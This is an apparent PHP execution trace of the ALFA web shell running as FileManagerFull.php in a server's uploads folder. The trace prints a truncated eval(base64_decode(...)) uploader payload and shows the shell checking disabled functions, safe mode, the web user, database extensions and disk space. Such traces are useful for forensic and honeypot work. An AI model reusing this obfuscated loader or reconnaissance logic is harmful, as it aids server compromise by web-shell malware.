5	63	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	62	1	0.013852	2772920
4	62	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	65	0	0.013881	2772920	define	0		/var/www/html/uploads/FileManagerFull.php	914	2	'ALFA_UPLOADER'	'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4	65	1	0.013908	2773024
4	65	R			TRUE
3		A						/var/www/html/uploads/FileManagerFull.php	966	_POST['charset'] = 'Windows-1251'
4	66	0	0.013936	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	967	1	'diskfreespace'
4	66	1	0.013950	2772992
4	66	R			TRUE
4	67	0	0.013963	2772952	diskfreespace	0		/var/www/html/uploads/FileManagerFull.php	967	1	'/var/www/html/uploads/'
4	67	1	0.013982	2772984
4	67	R			208211271680
3		A						/var/www/html/uploads/FileManagerFull.php	967	$freeSpace = 208211271680
4	68	0	0.014008	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	968	1	'disk_total_space'
4	68	1	0.014022	2772992
4	68	R			TRUE
4	69	0	0.014035	2772952	disk_total_space	0		/var/www/html/uploads/FileManagerFull.php	968	1	'/var/www/html/uploads/'
4	69	1	0.014050	2772984
4	69	R			232015802368
3		A						/var/www/html/uploads/FileManagerFull.php	968	$totalSpace = 232015802368
3		A						/var/www/html/uploads/FileManagerFull.php	969	$totalSpace = 232015802368
3		A						/var/www/html/uploads/FileManagerFull.php	970	$on = '<span class=\'header_on\'> ON </span>'
3		A						/var/www/html/uploads/FileManagerFull.php	971	$of = '<span class=\'header_off\'> OFF </span>'
3		A						/var/www/html/uploads/FileManagerFull.php	972	$none = '<span class=\'header_none\'> NONE </span>'
4	70	0	0.014124	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	973	1	'ssh2_connect'
4	70	1	0.014137	2772992
4	70	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	976	$ssh2 = '<span class=\'header_off\'> OFF </span>'
4	71	0	0.014162	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	977	1	'curl_version'
4	71	1	0.014176	2772992
4	71	R			TRUE
3		A						/var/www/html/uploads/FileManagerFull.php	978	$curl = '<span class=\'header_on\'> ON </span>'
4	72	0	0.014200	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	981	1	'mysql_get_client_info'
4	72	1	0.014214	2772992
4	72	R			FALSE
4	73	0	0.014227	2772952	class_exists	0		/var/www/html/uploads/FileManagerFull.php	981	1	'mysqli'
4	73	1	0.014244	2772992
4	73	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	984	$mysql = '<span class=\'header_off\'> OFF </span>'
4	74	0	0.014269	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	985	1	'mssql_connect'
4	74	1	0.014282	2772992
4	74	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	988	$mssql = '<span class=\'header_off\'> OFF </span>'
4	75	0	0.014307	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	989	1	'pg_connect'
4	75	1	0.014320	2772992
4	75	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	992	$pg = '<span class=\'header_off\'> OFF </span>'
4	76	0	0.014344	2772952	function_exists	0		/var/www/html/uploads/FileManagerFull.php	993	1	'oci_connect'
4	76	1	0.014357	2772992
4	76	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	996	$or = '<span class=\'header_off\'> OFF </span>'
4	77	0	0.014381	2772952	ini_get	0		/var/www/html/uploads/FileManagerFull.php	997	1	'disable_functions'
4	77	1	0.014395	2773432
4	77	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	78	0	0.014420	2772952	ini_get	0		/var/www/html/uploads/FileManagerFull.php	998	1	'disable_functions'
4	78	1	0.014433	2773432
4	78	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/FileManagerFull.php	998	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	79	0	0.014477	2773400	ini_get	0		/var/www/html/uploads/FileManagerFull.php	1001	1	'safe_mode'
4	79	1	0.014490	2773432
4	79	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1004	$safe_modes = '<span class=\'header_on\'>OFF</span>'
3		A						/var/www/html/uploads/FileManagerFull.php	1005	$cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4	80	0	0.014529	2773400	ini_get	0		/var/www/html/uploads/FileManagerFull.php	1006	1	'open_basedir'
4	80	1	0.014542	2773432
4	80	R			''
3		A						/var/www/html/uploads/FileManagerFull.php	1013	$open_b = '<span class=\'header_none\'> NONE </span>'
4	81	0	0.014569	2773400	ini_get	0		/var/www/html/uploads/FileManagerFull.php	1014	1	'safe_mode_exec_dir'
4	81	1	0.014582	2773432
4	81	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1017	$safe_exe = '<span class=\'header_none\'> NONE </span>'
4	82	0	0.014608	2773400	ini_get	0		/var/www/html/uploads/FileManagerFull.php	1018	1	'safe_mode_include_dir'
4	82	1	0.014621	2773432
4	82	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1021	$safe_include = '<span class=\'header_none\'> NONE </span>'
4	83	0	0.014647	2773400	function_exists	0		/var/www/html/uploads/FileManagerFull.php	1022	1	'posix_getegid'
4	83	1	0.014660	2773440
4	83	R			TRUE
4	84	0	0.014673	2773400	function_exists	0		/var/www/html/uploads/FileManagerFull.php	1029	1	'posix_getpwuid'
4	84	1	0.014686	2773440
4	84	R			TRUE
4	85	0	0.014699	2773400	function_exists	0		/var/www/html/uploads/FileManagerFull.php	1029	1	'posix_geteuid'
4	85	1	0.014712	2773440
4	85	R			TRUE
4	86	0	0.014725	2773400	posix_geteuid	0		/var/www/html/uploads/FileManagerFull.php	1029	0
4	86	1	0.014739	2773400
4	86	R			33
4	87	0	0.014751	2773400	posix_getpwuid	0		/var/www/html/uploads/FileManagerFull.php	1029	1	33
4	87	1	0.014799	2774232
4	87	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3		A						/var/www/html/uploads/FileManagerFull.php	1029	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4	88	0	0.014843	2774200	function_exists	0		/var/www/html/uploads/FileManagerFull.php	1030	1	'posix_getgrgid'
4	88	1	0.014857	2774240
4	88	R			TRUE
4	89	0	0.014875	2774200	function_exists	0		/var/www/html/uploads/FileManagerFull.php	1030	1	'posix_getegid'
4	89	1	0.014888	2774240
4	89	R			TRUE
4	90	0	0.014900	2774200	posix_getegid	0		/var/www/html/uploads/FileManagerFull.php	1030	0
4	90	1	0.014913	2774200
4	90	R			33
4	91	0	0.014925	2774200	posix_getgrgid	0		/var/www/html/uploads/FileManagerFull.php	1030	1	33
4	91	1	0.014955	2774864
4	91	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/FileManagerFull.php	1030	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/FileManagerFull.php	1031	$user = 'www-data'
3		A						/var/www/html/uploads/FileManagerFull.php	1032	$uid = 33
3		A						/var/www/html/uploads/FileManagerFull.php	1033	$group = 'www-data'
3		A						/var/www/html/uploads/FileManagerFull.php	1034	$gid = 33
3		A						/var/www/html/uploads/FileManagerFull.php	1036	$cwd_links = ''
4	92	0	0.015044	2773480	explode	0		/var/www/html/uploads/FileManagerFull.php	1037	2	'/'	'/var/www/html/uploads/'
4	92	1	0.015059	2774088
4	92	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/FileManagerFull.php	1037	$path = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads', 5 => '']
3		A						/var/www/html/uploads/FileManagerFull.php	1038	$n = 6
3		A						/var/www/html/uploads/FileManagerFull.php	1039	$i = 0
3		A						/var/www/html/uploads/FileManagerFull.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/FileManagerFull.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j = 0
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1046	$cwd_links .= '")\' path=\'/\' href=\'#action=fileman&path=/\'>/</a>'
3		A						/var/www/html/uploads/FileManagerFull.php	1039	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/FileManagerFull.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j = 0
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1046	$cwd_links .= '")\' path=\'/var/\' href=\'#action=fileman&path=/var/\'>var/</a>'
3		A						/var/www/html/uploads/FileManagerFull.php	1039	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/FileManagerFull.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j = 0
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1046	$cwd_links .= '")\' path=\'/var/www/\' href=\'#action=fileman&path=/var/www/\'>www/</a>'
3		A						/var/www/html/uploads/FileManagerFull.php	1039	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/FileManagerFull.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j = 0
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1046	$cwd_links .= '")\' path=\'/var/www/html/\' href=\'#action=fileman&path=/var/www/html/\'>html/</a>'
3		A						/var/www/html/uploads/FileManagerFull.php	1039	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	1040	$cwd_links .= '<a class=\'header_pwd\' onclick=\'g("FilesMan","'
3		A						/var/www/html/uploads/FileManagerFull.php	1041	$cach_cwd_path = ''
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j = 0
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= '/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'var/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'www/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'www/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'html/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'html/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1043	$cwd_links .= 'uploads/'
3		A						/var/www/html/uploads/FileManagerFull.php	1044	$cach_cwd_path .= 'uploads/'
3		A						/var/www/html/uploads/FileManagerFull.php	1042	$j++
3		A						/var/www/html/uploads/FileManagerFull.php	1046	$cwd_links .= '")\' path=\'/var/www/html/uploads/\' href=\'#action=fileman&path=/var/www/html/uploads/\'>uploads/</a>'
3		A						/var/www/html/uploads/FileManagerFull.php	1039	$i++
3		A						/var/www/html/uploads/FileManagerFull.php	1048	$drives = ''
4	93	0	0.015837	2774832	range	0		/var/www/html/uploads/FileManagerFull.php	1049	2	'a'	'z'
4	93	1	0.015852	2776232
4	93	R			[0 => 'a', 1 => 'b', 2 => 'c', 3 => 'd', 4 => 'e', 5 => 'f', 6 => 'g', 7 => 'h', 8 => 'i', 9 => 'j', 10 => 'k', 11 => 'l', 12 => 'm', 13 => 'n', 14 => 'o', 15 => 'p', 16 => 'q', 17 => 'r', 18 => 's', 19 => 't', 20 => 'u', 21 => 'v', 22 => 'w', 23 => 'x', 24 => 'y', 25 => 'z']
4	94	0	0.015887	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'a:\\'
4	94	1	0.015957	2776240
4	94	R			FALSE
4	95	0	0.015973	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'b:\\'
4	95	1	0.015989	2776240
4	95	R			FALSE
4	96	0	0.016003	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'c:\\'
4	96	1	0.016018	2776240
4	96	R			FALSE
4	97	0	0.016031	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'd:\\'
4	97	1	0.016046	2776240
4	97	R			FALSE
4	98	0	0.016059	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'e:\\'
4	98	1	0.016074	2776240
4	98	R			FALSE
4	99	0	0.016086	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'f:\\'
4	99	1	0.016106	2776240
4	99	R			FALSE
4	100	0	0.016119	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'g:\\'
4	100	1	0.016133	2776240
4	100	R			FALSE
4	101	0	0.016146	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'h:\\'
4	101	1	0.016161	2776240
4	101	R			FALSE
4	102	0	0.016174	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'i:\\'
4	102	1	0.016188	2776240
4	102	R			FALSE
4	103	0	0.016201	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'j:\\'
4	103	1	0.016215	2776240
4	103	R			FALSE
4	104	0	0.016228	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'k:\\'
4	104	1	0.016243	2776240
4	104	R			FALSE
4	105	0	0.016256	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'l:\\'
4	105	1	0.016270	2776240
4	105	R			FALSE
4	106	0	0.016283	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'm:\\'
4	106	1	0.016298	2776240
4	106	R			FALSE
4	107	0	0.016310	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'n:\\'
4	107	1	0.016325	2776240
4	107	R			FALSE
4	108	0	0.016338	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'o:\\'
4	108	1	0.016352	2776240
4	108	R			FALSE
4	109	0	0.016365	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'p:\\'
4	109	1	0.016380	2776240
4	109	R			FALSE
4	110	0	0.016393	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'q:\\'
4	110	1	0.016408	2776240
4	110	R			FALSE
4	111	0	0.016421	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'r:\\'
4	111	1	0.016436	2776240
4	111	R			FALSE
4	112	0	0.016449	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	's:\\'
4	112	1	0.016463	2776240
4	112	R			FALSE
4	113	0	0.016476	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	't:\\'
4	113	1	0.016490	2776240
4	113	R			FALSE
4	114	0	0.016503	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'u:\\'
4	114	1	0.016517	2776240
4	114	R			FALSE
4	115	0	0.016530	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'v:\\'
4	115	1	0.016544	2776240
4	115	R			FALSE
4	116	0	0.016557	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'w:\\'
4	116	1	0.016571	2776240
4	116	R			FALSE
4	117	0	0.016584	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'x:\\'
4	117	1	0.016598	2776240
4	117	R			FALSE
4	118	0	0.016611	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'y:\\'
4	118	1	0.016625	2776240
4	118	R			FALSE
4	119	0	0.016638	2776200	is_dir	0		/var/www/html/uploads/FileManagerFull.php	1050	1	'z:\\'
4	119	1	0.016651	2776240
4	119	R			FALSE
3		A						/var/www/html/uploads/FileManagerFull.php	1052	$csscode = '\t-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation'
4	120	0	0.016687	2774832	__showicon	1		/var/www/html/uploads/FileManagerFull.php	1058	1	'alfamini'
4		A						/var/www/html/uploads/FileManagerFull.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	120	1	0.016742	2774832
4	120	R			'http://solevisible.com/images/alfamini.png'
4	121	0	0.017058	2789792	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	1069	1	'header_values'
4		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#67ABDF'
4	121	1	0.017088	2789792
4	121	R			'#67ABDF'
4	122	0	0.017104	2791328	__showicon	1		/var/www/html/uploads/FileManagerFull.php	1069	1	'alfamini'
4		A						/var/www/html/uploads/FileManagerFull.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	122	1	0.017161	2791328
4	122	R			'http://solevisible.com/images/alfamini.png'
4	123	0	0.017180	2795424	__showicon	1		/var/www/html/uploads/FileManagerFull.php	1069	1	'alfamini'
4		A						/var/www/html/uploads/FileManagerFull.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	123	1	0.017232	2795424
4	123	R			'http://solevisible.com/images/alfamini.png'
4	124	0	0.017248	2795424	__showicon	1		/var/www/html/uploads/FileManagerFull.php	1069	1	'btn'
4		A						/var/www/html/uploads/FileManagerFull.php	1237	$s['btn'] = 'http://solevisible.com/images/btn.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1238	$s['alfamini'] = 'http://solevisible.com/images/alfamini.png'
4		A						/var/www/html/uploads/FileManagerFull.php	1239	$s['loader'] = 'http://solevisible.com/images/loader.svg'
4	124	1	0.017296	2795424
4	124	R			'http://solevisible.com/images/btn.png'
4	125	0	0.017313	2795424	is_writable	0		/var/www/html/uploads/FileManagerFull.php	1070	1	'/var/www/html/uploads/'
4	125	1	0.017331	2795464
4	125	R			TRUE
4	126	0	0.017346	2799520	alfaCssLoadColors	1		/var/www/html/uploads/FileManagerFull.php	1070	0
4		A						/var/www/html/uploads/FileManagerFull.php	627	$css = ''
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'shell_border'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.header'
5	127	0	0.017394	2799520	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'shell_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	127	1	0.017431	2799520
5	127	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	128	0	0.017456	2799520	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'border: 7px solid {color}'
5	128	1	0.017473	2799672
5	128	R			'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border: 7px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.header{border: 7px solid #0E304A}'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '#meunlist'
5	129	0	0.017525	2799640	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'shell_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	129	1	0.017560	2799640
5	129	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	130	0	0.017585	2799640	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	130	1	0.017601	2799784
5	130	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '#meunlist{border-color: #0E304A}'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '#hidden_sh'
5	131	0	0.017650	2799664	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'shell_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	131	1	0.017685	2799664
5	131	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	132	0	0.017713	2799664	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'background-color: {color}'
5	132	1	0.017729	2799816
5	132	R			'background-color: #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '#hidden_sh{background-color: #0E304A}'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.ajaxarea'
5	133	0	0.017779	2799704	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'shell_border'
